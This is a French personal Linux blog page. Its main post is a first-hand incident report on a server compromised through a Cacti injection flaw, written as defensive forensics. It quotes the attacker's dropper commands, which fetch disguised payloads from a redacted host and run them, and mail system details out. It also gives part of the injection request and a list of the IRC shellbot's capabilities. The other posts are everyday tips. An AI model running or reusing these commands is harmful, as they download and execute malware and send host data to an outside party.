KubuntuBlog

Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning. Rich Cook

Aller au contenu | Aller au menu | Aller à la recherche

lundi 5 février 2007

Réagir à une intrusion sur un systeme linux

AttentionJe viens de faire face à une intrusion. Le cracker a profité d'une faille de cacti non patchée dans ma distribution (j'y reviendrais) pour s'introduire sur mon serveur perso. Nous allons essayer d'analyser la machine pour découvrir comment il est entré.

Attention ! Je ne suis pas du tout un spécialiste en sécurité. Ce billet n'est pas une marche à suivre mais a pour but de décrire ma réaction. Ma méthode est surement criticable, n'hesitez pas à vous exprimer dans les commentaires pour corriger mes erreurs.

La découverte

Hier, lors d'un top, je remarque qu'un processus perl prends pas mal de cpu. Il semble être en rapport avec les logs d'apache. Concentré sur autre chose, je ne cherche pas plus loin.

Aujourd'hui lors d'un nouveau top le même processus prends toujours de la cpu. Ayant 5 minutes devant moi, je décide de voir un peu plus loin. Bien m'en prends puisque je découvre bien vite une incohérence ! Dans le top, je vois un processus perl, mais dans un ps, le pid est associé à un fichier /usr/sbin/apache/log qui n'existe pas ! L'inquiétude monte.

Un petit tour dans /tmp ou je découvre des fichiers que je n'y ai jamais vu : go.jpg et go qui est un script shell :

#/bin/bash
cd /var/tmp;wget http://xxxx.xx.uk/bad.jpg;tar zxvf bad.jpg;rm -rf bad.jpg;
cd .u;wget http://xxxx.xx.uk/b0t.jpg;perl b0t.jpg

La, plus de doutes ! Ma machine est compromise. Surtout ne pas se laisser submerger par la panique. Ne pas couper l'interface réseau.
Première chose : sauvegarder toutes les traces et logs possibles et étudier un peu ce qui se passe. Bacula-wxHeureusement je suis tranquille pour mes données, gràce à Bacula je sauvegarde toutes les nuits.

La prise d'informations

Pour commencer, il faut capturer le traffic réseau histoire de voir ce qu'il fait. Je ferme donc toutes les applications autorisées du reseau local pour ne pas polluer la capture. Ensuite tcpdump :

sudo tcpdump -v -i ra0 -s 4096 -w /montage/nfs/ra0.raw

Cette commande capture les paquets sur l'interface ra0 (l'exterieur chez moi) d'une taille jusqu'à 4096 octets (sinon on a que les headers) et écrit les données sur un montage nfs. On pourra facilement les exploiter plus tard à l'aide de ethereal / wireshark[1]

Ensuite récuperer les traces en recopiant mon répertoire /var/log sur un montage nfs puis de la même manière je capture au maximum l'état actuel de la machine (c'est à dire avec le Bot en fonctionnement) :

sudo tar cvf /montage/nfs/log/varlog.tar /var/log
sudo ps -ef > /montage/nfs/log/ps-ef
sudo lsof > /montage/nfs/log/lsof
sudo netstat -an > /montage/nfs/log/netstat-an
sudo strace -p 21160 > /montage/nfs/log/strace 2>&1

Voici quelques détails :

  • ps liste les processus en cours
  • lsof est très très utile, cette commande liste tous les fichiers classés par processus
  • netstat donne les informations sur les connections réseaux ouvertes et les ports écoutés
  • strace donne les appels systèmes du processus de pid 21160. Dans ce cas je n'en ai rien sorti

Une rapide analyse du lsof me donne les fichiers malicieux, je les sauvegarde aussi :

  • /var/tmp/.u/
  • /tmp/
  • /var/lib/cacti/rra/suntzu.log

Une chose me reste à l'esprit pendant toute cette phase, je ne sais pas à quel point ma machine est compromise. Dans le cas ou un gros rootkit avec keylogger est installé, je suis en train de lui donner un accès root de toute beauté !

Quand je considère cette phase terminée, je coupe les interfaces réseaux et isole la machine sans l'eteindre. Maintenant arrive la phase d'analyse des logs et du code perl du bot. J'ai deux objectifs :

  • Comment est-il entré ?
  • Quels dégats a-t-il fait chez moi et chez les autres ?

Les faits

Après analyse, voici le déroulement des faits tels que je les ai reconstitués : Vendredi à 18:43, quelqu'un a exploité une faille de cacti pour executer du code. C'est assez facile à voir dans les logs du fait de la longeur excessive de la ligne (1034 caractères) :

213.XX.XX.XXX - - [02/Feb/2007:18:43:38 +0100] "GET /cacti/cmd.php?1+1111)/**/UNION/**/SELECT/**/2,0,1,1,CHAR(49,50,55,46,48,46,48,46,49),null,1,null,null ...

On détecte aussi un peu plus loin l'utilisation de ma machine comme proxy :(

Cette attaque provient d'une machine polonaise, une fois décodé, le code correspond à cela :

uname -a >> /tmp/out;/sbin/ifconfig |grep inet >> /tmp/out;
cat /tmp/out | mail -s xxxxxx xxxx_xxxxx@yahoo.com;
wget http://xxxxxxx.xx.uk/go.jpg -O /tmp/go.jpg;tar xzvf /tmp/go.jpg -C /tmp;
/tmp/go > ./rra/suntzu.log

Il s'est donc envoyé un mail avec les informations sur ma machine et a téléchargé et executé le script shell vu ci-dessus. Ce script a à son tour téléchargé un client irc en perl et un bot irc camouflé en httpd (ainsi qu'une autre version en bash)

Le bot irc est EnergyMech. Le client perl est issu de l'Atrix Shellbot qui semble avoir ciblé phpbb puis modifié pour mambo et maintenant pour cacti[2].

Une fois démarré, EnergyMech prend la place de apache et se met en écoute des ports 80 et 443. Quand au Shellbot, il se connecte à un serveur irc (aux USA) et se met en attente de commandes. En jetant un oeil au code, on s'apercoit qu'il peut faire à la demande :

  • du dénis de service en tcp, http, udp
  • executer toute commande sur la machine inféctée (dans la limite de ses droits bien sur)
  • chercher à infecter d'autres machines en les recherchant via google
  • ...

Il est aussi personalisable, dispose d'un système léger de droits ce qui permet d'utiliser plusieurs botnet sur le même serveur/canal irc.

etherealDans les dumps réseaux, je vois passer des commandes mais rien qui ne me soit destiné. On trouve des reponses IRC comme cela :

:xxx!xxxx@xxxxxxxxxx.xxxx.xxxxxxxx.org PRIVMSG #botzs :.ACTION brb ..pap :P.

qui restent incomprehensibles à moins d'avoir le code du client. On peux juste en extraire le pseudo du propriétaire, les bots destinataires (botzs) et l'action qui leur est demandée.

Par contre, je n'ai pas pu savoir s'il a réalisé des actions pendant sa période de présence en ligne (environ 40h). Je n'ai rien détécté dans les logs. Peut-être ai-je mal cherché.

Conclusions

Dans une certaine mesure, j'ai une part de responsabilité. Je n'ai pas maintenu mon serveur à jour. Je reviendrais la-dessus dans un prochain article.

J'ai retrouvé après coup l'article que je me souvenais avoir lu : Comment réagir (techniquement) en cas d'intrusion . J'ai presque bon. Il me manque quelques logs, la préparation et surtout la séparation des outils d'analyse de la machine infecté. Je pense que dans le cas d'un rootkit, ça ne pardonne pas. Je vous conseille d'aller lire cet article et de vous y préparer.

Les dégats semblent limités. L'attaquant est sans doute resté cantonné à l'utilisateur www et n'est pas allé plus loin (rkhunter semble me le confirmer). De plus j'ose esperer qu'en 40h il n'a pas eu le temps de faire trop de dégats à partir de ma machine.

J'ai toujours repoussé l'installation des logiciels de surveillance (IDS) je le regrette maintenant.

Je vais porter plainte même si je doute que cela apporte grand chose. A priori cela ne semble même pas évident à faire. Il faut avoir comme informations :

  • les logs bien sur
  • l'adresse physique de la machine
  • les dégats subits qui dans mon cas semblent minimes

Je ne fais plus confiance à cette machine, la re-installation complète la guette !

Notes

[1] pour la petite histoire j'avais jamais lu une page de man aussi vite pour trouver cette ligne de commande :)

[2] on le trouve assez facilement sur le reseau

vendredi 5 janvier 2007

Flasher le bios

Voila une oération risquée mais parfois nécessaire. Par exemple pour pouvoir upgrader le processeur.

Seulement les constructeurs e fournissent des méthode de flashage (un programme) que pour windows ou DOS. Serions nous donc obligés de payer une licence juste pour flasher le BIOS[1] ?

FreeDOS Non ! Gràce à FreeDOS un clone libre de MS-DOS. Voici donc en quelques lignes comment réaliser cela. Comme exemple, nous allons flasher une Carte Mère Asus P2L97 avec le dernier Bios stable[2]

Commencez par télécharger les fichiers necessaires qui seront donc differents pour chaque carte mère. Dans mon cas :

  • lx2i1009.awd : le bios
  • pflash.exe : le programme de flash

Puis téléchargez simplement la disquette de boot FreeDOS. Nous nous en contenterons puisque un environement DOS complet n'est pas necessaire dans ce cas. Vous trouverez cela à partir de cette page. Vous n'avez besoin que de :

  • fdboot.img

Inserez une disquette propre dans le lecteur et tapez :

$ dd if=fdboot.img of=/dev/fd0

Montez alors la disquette et copiez-y les fichiers necessaires au flashage. Puis je vous conseille de la démonter et de la remonter pour vérifier la copie des données avec md5sum :

$ md5sum /media/floppy/p2l97/lx2i1009.awd
5567c1e350a62aa7ba073336a1243480  /media/floppy/p2l97/lx2i1009.awd 
$ md5sum lx2i1009.awd
5567c1e350a62aa7ba073336a1243480  lx2i1009.awd

Enfin démontez la disquette et rebootez la machine à flasher sur celle-ci (il peux être necessaire de changer l'ordre des périphériques bootables dans le bios).
Choisissez Safe-Mode

Capture

Il ne reste plus qu'a suivre les instructions du fabriquant pour flasher.

Capture

Notes

[1] Je laisse de coté Wine que je n'oserai pas utiliser pour une opération aussi délicate

[2] C'est mon serveur, le nouveau Bios est le 1009

vendredi 3 novembre 2006

Convertir une date de/vers des secondes depuis l'origine des temps

Origine des temps qui comme chacun sait est :

Minuit le 1er Janvier 1970 (GMT)

Deux petits one-liner perl qui permettent de convertir de YYYYMMDDHHMMSS vers les secondes et vis-versa :

echo <secondes> | perl -e "print scalar localtime <>"
echo <YYYYMMDDHHMMSS> | perl -M'Time::Local timelocal' -e '<> =~ /(\d{4})(\d{2})(\d{2})(\d{2})(\d{2})(\d{2})/ && print timelocal $6,$5,$4,$3,$2-1,$1'

et pour obtenir les données pour tester :

date +%s-%Y%m%d%H%M%S

Théoriquement on pourrait s'en sortir juste avec date mais je n'ai jamais trouvé comment lui fournir une date en entrée :(
De même c'est surement possible plus simplement/court en perl. Mais au moins comme cela, ca marche.

Cf. La doc de Time::Local

vendredi 6 octobre 2006

bash: prendre un fichier au hasard dans un répertoire

Suite à une question dans les forums de linuxfr, j'ai recherché et retrouvé comment tirer aléatoirement un fichier sur N.
Je colle la méthode ici afin de la retrouver facilement.

#!/bin/bash
array=($(ls /images))
echo ${array[$(expr $RANDOM % ${#array[@]})]}
  • array=($(ls /images)) : instancie un tableau
  • ${#array[@]} : sa taille
  • expr $RANDOM % N : nombre aléatoire sur 0..N-1

Et pour mémoire, un super cours de bash

vendredi 26 mai 2006

Todo List

Marre des post-it qui trainent dans tous les coins ? Ras-le bol de la gestion de projet avec La Rache ?

Pour améliorer cela, une simple todo list peux suffire. Ca tombe bien, j'en ai découvert une géniale, simple légère et facile à installer : TaskFreak. PHP+MySQL, 3 lignes à changer dans un fichier de conf et voila !

Il en existe plusieurs versions mono/multi user et MySQL/SQLlite

mercredi 10 mai 2006

ssh et renvoi de port

ssh intègre une sécurité basé sur les "host keys". Ce sont des identifiants de machines stockés dans ~/.ssh/known_hosts. Si cet identifiant change ssh nous previens qu'il y a peut-être une attaque par ip spoofing[1]. Si le paramètre StrictHostKeyChecking est positionné, on ne pourra alors même pas se connecter à un tel hôte.

Hors dans la configuration suivante, ou une passerelle fait du renvoi de port vers plusieurs machines d'un reseau local, on peux avoir deux identifiant differents associés à la même adresse publique. Le premier sera ajouté au fichier known_hosts mais on ne pourra plus se connecter sur le deuxième. reseau Heureusement, ssh nous permet de changer ses paramètres de configuration à la volée en les passant en ligne de commande. Ce qui nous donnera alors : # pour se connecter sur xubuntu
ssh -p 1234 userx@addr.publique.com
# pour kubuntu
ssh -p 1235 -o "StrictHostKeyChecking=no" userk@addr.publique.com

On notera que si l'on utilise sshfs, on peux utiliser la même option : sshfs -p 1235 -o "StrictHostKeyChecking=no" userk@addr.publique.com:/data /data

Edit

Pour résoudre ce problème, il existe en fait une solution beaucoup plus maligne. On peux en effet avoir plusieurs clefs pour un seul host. Il nous suffit donc de stocker les clefs des deux machines dans notre fichier ~/.ssh/known_host :
# sur kubuntu :
cat /etc/ssh/ssh_host_rsa_key.pub
ssh-rsa AAAAB3...YK58=
# sur le portable :
grep addr.publique.com ~/.ssh/known_hosts
addr.publique.com ssh-rsa AAAAB3...YK58=
addr.publique.com ssh-rsa AAAAB3...zmpU=
a lire, un article très bien fait sur SecurityFocus

Notes

[1] c'est à dire qu'on se connecte sur un host qui se fait passer pour un autre

dimanche 12 février 2006

Raccourcis clavier/souris firefox

Il y a dans Konqueror et les autres applis kde un raccourcis clavier/souris que j'utilise beaucoup : <Shift>+molette qui permet de faire défiler page/page plutôt que ligne/ligne. Hors dans firefox, cette combinaison fait défiler l'historique :(
Ce billet de NiKo m'a donné envie de changer cela. Après quelques recherches, je viens de trouver comment modifier cette combinaison :

  1. Entrer about:config dans la barre d'adresse
  2. Entrer mousewheel dans la zone de filtre
  3. Chercher la clef mousewheel.withshiftkey.action
  4. Remplacer la valeur par 1

et voila !

Pour info les actions possibles semblent être :

  • 0 : scroll normal
  • 1 : scroll d'une page
  • 2 : navigation dans l'historique
  • 3 : taille de la police

Et pour finir, quelques liens récoltés pendant mes recherches sur la configuration des touches de firefox :

  • l'extension keyconfig et son compagnon functions qui permettent de modifier graphiquement les raccourcis clavier et d'en ajouter d'autre
  • Un peu de doc sur MozillaZine
  • Customizing Mozilla keys sur le site officiel
  • Liste des raccourcis par défaut chez Yazerty

< 1 2